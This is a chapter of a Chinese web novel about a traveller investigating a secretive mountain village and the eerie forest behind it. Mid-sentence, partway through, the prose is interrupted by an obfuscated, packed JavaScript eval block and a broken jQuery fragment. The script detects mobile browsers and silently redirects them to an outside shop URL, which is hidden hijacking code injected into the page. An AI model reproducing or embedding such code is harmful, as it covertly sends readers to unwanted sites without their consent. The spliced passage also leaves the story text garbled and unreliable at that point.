第二天天亮之前她就醒了。
窗外还是灰的，山影把大半个村子罩在暗处，只有东边天际线上方有一层薄薄的浅橘色透出来。
她坐在床沿上听了一会儿，村子还睡着，呼吸声从各户人家紧闭的门窗后面透出来，均匀而深。
后山的方向没有声音，连夜里那种持续的低频背景音都没了，整片密林像一堵沉默的墙立在那里。
她推开门走到院子里。
晨雾比昨天薄一些，贴在低处浮着，贴着地面像一层浅水。
土路的表面是湿的，踩上去没有声音。
她沿着屋前那条窄路慢慢往村口方向走，经过几户人家门口时看见有烟囱开始冒烟了，细白的一缕一缕升上去，在无风的天光里拉成笔直的线。
村口那口井旁边已经有人在打水了。
是昨天在井边蹲着的那个叼烟杆的老人，换了件深色的布褂子，正把木桶从井里往上提。
他看见碎烬辞走过来，手上动作不停，但目光跟了她一路，从她走近到她停在井台旁边都一直落在她身上。
"起得早。"他说。
"睡不太踏实。"碎烬辞说。
老人把水桶提上来搁在井沿上，伸手抹了一把桶壁上的水珠。他没有立刻走，靠在井沿边站着，像在歇脚。
碎烬辞站在几步外，也没有急着离开。她能感觉到他正在打量她，但那种打量跟昨天的那些目光不一样，更慢，像在犹豫什么。
"你从山外头来，"他终于开口了，声音比昨天嘀咕的那句大了一点，"走的是哪条路？"
"北边那条翻山的小路。"
老人点了点头，像在确认一件他已经猜到的事。
"北边那条路不好走，好几段都塌了，这两年没什么人从那边过来。"
他说着把水桶提起来，弯腰的时候顿了一下，像是想起来什么又忘了，最后直起身朝自己家的方向走了。
走了几步他又停下来，侧了侧头，声音比刚才低了一些：
"后山那片林子，你远远看看就行。别往里走。"
碎烬辞站在井台边看着他的背影拐进了巷子。
她低头看了一眼井沿——石面上有几道新的划痕，像什么硬的东西被拖过去的时候留下的，浅而直，沿着井沿的边缘延伸到井台背后的泥土里就断了。
她蹲下来用手指顺着那道划痕的方向摸了一遍，划痕的断面是新鲜的，泥土翻出来的颜色比周围的旧土深，是最近几天留下的。
她站起来沿着村子里的土路慢慢走了一圈。
村子不大，从东到西走完大约也就十几分钟。
房屋布局错落，有些院子敞着门能看见里面晾着的衣服和被褥，有些门板紧闭，门缝里透不出光来。
她经过一户人家门口的时候侧头看了一眼——院子里坐着一个年轻女人，低着脑袋在择一把野菜，动作很慢，像注意力不在手上的活计上。
她旁边坐着一个小男孩，大约三四岁，蹲在地上用树枝划土。
女人抬起头来看了碎烬辞一眼，目光在她脸上停了一瞬，又落回手里的野菜上。
那一眼很短，但碎烬辞注意到她的眼睛，瞳孔颜色很浅，周围一圈暗色的眼圈像是很长时间没有睡好。
她低头继续择菜的时候，右手拇指无意识地蹭了一下左手腕内侧，那里有一圈颜色比周围皮肤深的印痕，被袖口遮住了大半。
碎烬辞收回视线继续往前走。经过下一户人家的时候，门是半掩着的，门缝里透出说话声。
一个男声在说什么，尾音拖得长，像在交代事情。另一个声音隔了一会儿才应了一句，是个女声，声音很低，像被什么压住了一样。
她放慢了步子但没有停，从那户门口经过的时候那扇半掩的门忽然被从里面推开了，走出来一个瘦高的男人，看见她的时候脚步顿了一下。
男人大约五十岁上下，颧骨高，下巴上一层青灰色的胡茬，身上的外套有点大，像不太合身。
他看了碎烬辞一眼，什么也没说，把门从外面拉上了，锁扣合拢的时候发出一声清脆的咔嗒。
门合上的那一瞬间，碎烬辞的耳朵捕捉到了一个极短的声响——门后有人深吸了一口气，像在把什么情绪压回去。
然后什么都没了。
上午的时候她回到井台附近，那个带路的瘦高男人阿成已经在等她了。
他手里端着一只粗瓷碗，里面是热粥，碗沿搁着一双竹筷。他把碗递给她的时候没有多话，只说"吃了饭再说"。
碎烬辞接过来坐在井台边沿喝完了那碗粥，粥是白米煮的，里面掺了几粒玉米碴，温度刚好入口。
她喝完之后把碗还给阿成，他接过碗的时候看了一眼她身后的方向——后山那片暗绿色的林冠在白天的光线下比夜里温和一些，看不出什么异常。
"我们这地方偏远，路也不通，"
阿成说，语气跟昨天一样平，"你歇两天就走吧。待久了对你不好。"他说完转身走了，步子比昨天快一些。
碎烬辞站在井台边看着他的背影消失在巷口。
她注意到他说"对你不好"的时候目光稍微偏移了一下，像在斟酌该不该说这句话。
她没有追上去问，站在原地把耳朵重新打开，把整座村子的声音收了进来。
白天的声响比夜里复杂得多，劈柴的、喂鸡的、拉家常的、风穿过屋檐的、小孩子在巷子里追逐的。
所有声音都平稳，听不出什么刻意压制的痕迹。
但当她仔细分辨那些拉家常的对话时，她发现了一个细节：
村子里的人说话的时候提到"后山"、"林子里"或者"那边"的次数远比她预想的多。
隔三差五就会从某户人家的院子里飘出半句话，像"昨天后山那边又响了"或者"晚上别让孩子去那边玩"。
语气都是日常的，像在说一件村里人都知道的事情。
但是没有人提到过那些声音到底是什么。所有人说起后山的时候用的都是代词，"那边""那里""那个方向"。
没有一个人用过具体的名词，没有人说"林子里的东西""山魈""怪物"之类的话。
只有昨天阿成和村长提了一次"山魈"之后，再没有人用过那个词。
像那个词本身带着重量，大家默契地绕着它走。
她在村子里又待了将近两个小时，期间跟几个在门口晒东西的村民搭了几句话。
对方都很客气，问她是哪里人、走了多久、打算什么时候走，话头转得自然。
但她试图把话题引向后山的时候，每一次都被不动声色地挡了回来。
不是直接的拒绝，更像"那边没什么好看的"或者"你一个外地人不懂那边的路"之类的温和回避。
下午的时候她站在自己住的那间屋子门口往村子的西侧看。
从那个角度能看见后山密林的一部分边缘，大约三四棵高大树木的树冠从山脊线上冒出来，枝叶的颜色跟周围的山体不一样，更深更暗。
树冠之间有一小片空当，像树与树之间没有挨紧而留下来的缝隙。
她盯着那个缝隙看了一会儿，在那个空隙里看见了一道快速的移动。
一道影子从一棵树的枝干之间闪了过去，速度极快，形状不像人，但也不像她见过的任何一种动物。
那道影子偏细长，移动的时候几乎是贴着树干的表面滑过去的，动作流畅得不正常。
她从那个缝隙上移开视线的时候，余光里看到另一道影子也在移动。
比刚才那道更小，速度同样快，从一棵树的树冠下方穿过两棵树的空隙消失在了另一侧的枝叶后面。
两道影子出现的时间差很短，像在跟随同一个路线前后脚经过。
她站在门口看了将近十分钟。
那两道影子没有再次出现，树冠之间恢复了静止的状态，只有风吹动叶片时产生的均匀晃动。
她转身回了屋里，在床沿坐下，把刚才看见的那个快速移动的轮廓在脑子里描了一遍。
偏瘦、四肢比例接近灵长类、移动方式不像猴子那种弹跳，更像贴附在树干表面滑过去的。
那道影子的高度如果站直了的话大概跟人类女性差不多，但比成年男子矮一截。
天黑得比前一天更早。
山影从西边漫过来的时候把天空的亮度一层一层地吞掉，暮色从橘灰变成深蓝灰，最后彻底沉进暗里。
晚饭还是阿成送过来的，一碗米饭一碟咸菜，还有一小碗热水。
他把饭放在门口的地面上，没有进屋，只是站在门外说了一句"明天走不走"。
碎烬辞从屋里走出来接过饭碗的时候说："后天走吧，明天还想再看看村子。"
阿成沉默了一下，然后说了一句跟白天差不多的话：
"别往后山那边走。夜里有东西。"
他这次说"有东西"的时候没有用"山魈"这个词，像在绕着一个坑走。
"东西"两个字说出来之后他自己也顿了一下，然后转身走了，步子比平时快。
碎烬辞把饭端回屋里吃了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731416|208960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。咸菜的味道很重，盐放得多，吃起来舌根发麻。
她吃完之后把碗筷放在门口的地面上，然后坐在床沿上听夜色沉降。
后山方向的低频背景音在入夜后大约一个小时开始重新浮现，比昨晚来得更早一些，持续的音量也稍大了一些，像有空气被压缩着从那片密林深处挤出来。
到了大约半夜的时候，她听见了更多的声音。林子的方向有一阵连续的枝干晃动声传过来，像有什么体积不小的东西在树冠之间快速移动。
树枝被压弯又弹回去的声响接连不断，从密林深处一直延伸到接近林子边缘的位置才停。
然后是一道更长的尖啸，比昨晚的三次都长，像一口气拉到极细的线快要断了才收回去。
尖啸声落下去之后，村庄里所有的呼吸声在同一瞬间都顿了一下。像所有人都醒了，都在听同一个方向。
然后那些呼吸声陆续恢复了，但节奏比之前都浅一些快一些。
没有人开灯，没有人开窗，没有人出门。整座村庄在黑暗中集体醒着，用被子和墙把自己盖住。
碎烬辞坐在床沿上，从那阵尖啸声的方向捕捉到了一个细节：
那道声音在第三秒左右出现了一个极短的变化，从尖细的直线变成了一个轻微的上扬，像在最后用力提了一下嗓子。
那个变化里带着一点压不住的东西，不是纯粹的生物性的尖啸，更像人在用力发声时气息用尽的尾韵。
她用指腹按了一下自己耳廓后方，那里的皮肤微微发着热。
第三天天亮之后她比前一天更早起来。
天还是灰的，山间的雾气贴着地面没散。
她推开门走到屋后那片农田边缘，站在田埂上朝后山的方向看。
晨光从东边爬过来，把密林边缘的树冠照得泛了一层浅金。
她站在田埂上看了很久，目光一遍一遍地扫过昨天看见那些影子移动的区域。
树冠之间的缝隙还在，但今天没有影子出现。
她转身沿着田埂往村子的另一侧走了几百步，绕到了村尾靠近山脚的一片坡地上。
从那里能更清楚地看见后山密林跟村庄之间的那片缓冲带——光秃秃的，没有树，地上覆盖着厚厚一层落叶，踩上去会发出那种干燥的碎裂声。
她站在坡地边缘没有踏入那片落叶带，只是蹲下来看了看地面。
落叶层表面有几道被什么拖过去的痕迹，像有什么东西从这里被拽进林子里，又有什么从林子里被拽出来。
痕迹方向是双向的，深浅不一，有些被新的落叶盖住了大半，有些还保持着清晰的轮廓。
她站起来往回走的时候经过村尾最后一户人家。
那户的院墙比别家高，墙头上插着碎玻璃片，门是铁皮焊的，锁扣上挂着一把大锁。
她经过门口的时候里面传来了一声极轻的响动——像金属碰在石头表面上的声音，不重，被墙挡住了大半。
她放慢脚步，但没有停。
经过那扇铁皮门之后大约十来步远，她的耳朵捕捉到门后有一道呼吸声，急促而浅，像有人在里面贴紧门板站了很久，气都不敢喘。
下午的时候她坐在井台边磨了一会儿时间，跟几个路过的村民又搭了几句话。
她们的回答跟之前一样客气而疏远。
她注意到其中一个年轻媳妇在跟她说话的时候左手一直攥着衣角，把布料的边角攥得皱成一团。
那女人说话的声音很轻，像怕被什么人听见似的，但她的眼睛在看碎烬辞的时候跟她说话的声音之间有一道裂隙。
话是"住得习惯就多住两天"，眼神里的意思是别的。
碎烬辞没有追问，在那女人离开之前注意到她的小臂外侧有一道淡紫色的淤痕，从袖口下方延伸到手肘附近，颜色正在从深紫往浅黄过渡，是几天前留下的。
她收回视线。
傍晚的光照在那排土房的墙面上，把墙面上的裂缝照得分明。
后山方向的树冠边缘在夕照里镀了一层金红色的边，那片深暗的绿色在斜阳中显得比白天更沉、更密。
碎烬辞看着那片林子被落日余晖照亮的边缘，看着那一层金红色沿着树冠的轮廓慢慢往上移，最后随着太阳完全落山而彻底消失。
暮色合拢之后，她又站在井台边站了一会儿，听着村子里的灯火一户接一户地亮起来，昏黄的、从窗户纸后面透出来的微弱光点，像散落在山坳里的一小把碎星。
后山的方向没有声音传来，只有风声灌进密林时那种低沉而持续的呼哨。